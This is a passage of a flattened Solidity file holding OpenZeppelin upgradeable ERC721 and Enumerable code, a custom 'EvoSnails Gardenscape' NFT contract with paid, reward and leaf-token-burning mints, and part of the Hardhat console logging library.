require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721Upgradeable.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721Upgradeable.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721ReceiverUpgradeable.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
uint256[44] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721EnumerableUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721EnumerableUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721EnumerableUpgradeable is Initializable, ERC721Upgradeable, IERC721EnumerableUpgradeable {
function __ERC721Enumerable_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721Enumerable_init_unchained();
}
function __ERC721Enumerable_init_unchained() internal initializer {
}
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) {
return interfaceId == type(IERC721EnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Upgradeable.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721EnumerableUpgradeable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721Upgradeable.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721Upgradeable.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
uint256[46] private __gap;
}
// File @openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library CountersUpgradeable {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File contracts/Reward.sol
pragma solidity ^0.8.2;
interface ILeafToken {
function burnFrom(address from, uint256 amount) external;
}
contract EvoSnailsGardenscape is ERC721Upgradeable, ERC721EnumerableUpgradeable, PausableUpgradeable, OwnableUpgradeable {
address internal racing;
ILeafToken internal leaf;
using CountersUpgradeable for CountersUpgradeable.Counter;
CountersUpgradeable.Counter private _tokenIdCounter;
CountersUpgradeable.Counter private _rewardCounter;
CountersUpgradeable.Counter private _mintedCounter;
uint256 public constant cost = 0.1 ether;
uint256 public constant leafCost = 1000 ether;
uint256 public constant rewardSupply = 5000;
uint256 public constant mintableSupply = 2000;
uint256 public constant maxMintAmount = 5;
string public baseURI;
uint88 public publicMintStartTime;
/////////////////////////////////////////////////////////////
// SET UP
/////////////////////////////////////////////////////////////
function initialize(address _leaf) public initializer {
__ERC721_init("EvoSnails Gardenscape", "GARDEN");
__ERC721Enumerable_init();
__Pausable_init();
__Ownable_init();
publicMintStartTime = 1638662400;
leaf = ILeafToken(_leaf);
}
function setRacing(address _racing) public onlyOwner {
racing = _racing;
}
/////////////////////////////////////////////////////////////
// MINTING
/////////////////////////////////////////////////////////////
function mintAsReward(address _to) public {
uint256 supply = _rewardCounter.current();
require(block.timestamp > publicMintStartTime, "mint locked");
require(supply < rewardSupply, "sold out!");
require((msg.sender == owner()) || (msg.sender == racing), "not allowed");
_tokenIdCounter.increment();
_rewardCounter.increment();
uint256 id = _tokenIdCounter.current();
_mint(_to, id);
}
function mintWithLeaf() public {
uint256 supply = _rewardCounter.current();
require(block.timestamp > publicMintStartTime, "mint locked");
require(supply < rewardSupply, "sold out!");
leaf.burnFrom(msg.sender, leafCost);
_tokenIdCounter.increment();
_rewardCounter.increment();
uint256 id = _tokenIdCounter.current();
_mint(msg.sender, id);
}
function mint(uint256 _mintAmount) public payable {
uint256 supply = _mintedCounter.current();
require(block.timestamp > publicMintStartTime, "mint locked");
require(_mintAmount > 0, "amount must be >0");
require(_mintAmount <= maxMintAmount, "amount must < max");
require(supply + _mintAmount <= mintableSupply, "sold out!");
if (msg.sender != owner()) {
require(msg.value >= cost * _mintAmount, "no funds");
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_tokenIdCounter.increment();
uint256 tokenId = _tokenIdCounter.current();
_mintedCounter.increment();
_safeMint(msg.sender, tokenId);
}
}
function safeMint(address to) public onlyOwner {
_tokenIdCounter.increment();
uint256 tokenId = _tokenIdCounter.current();
_safeMint(to, tokenId);
}
function withdraw() public payable onlyOwner {
require(
payable(owner()).send(address(this).balance),
"could not withdraw"
);
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function setPublicMintStartTime(uint88 _time) public onlyOwner {
publicMintStartTime = _time;
}
function setBaseURI(string memory _uri) public onlyOwner {
baseURI = _uri;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721Upgradeable, ERC721EnumerableUpgradeable) whenNotPaused {
super._beforeTokenTransfer(from, to, tokenId);
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId) public view override(ERC721Upgradeable, ERC721EnumerableUpgradeable) returns (bool) {
return super.supportsInterface(interfaceId);
}
}
// File hardhat/console.sol@v2.6.5
pragma solidity >= 0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
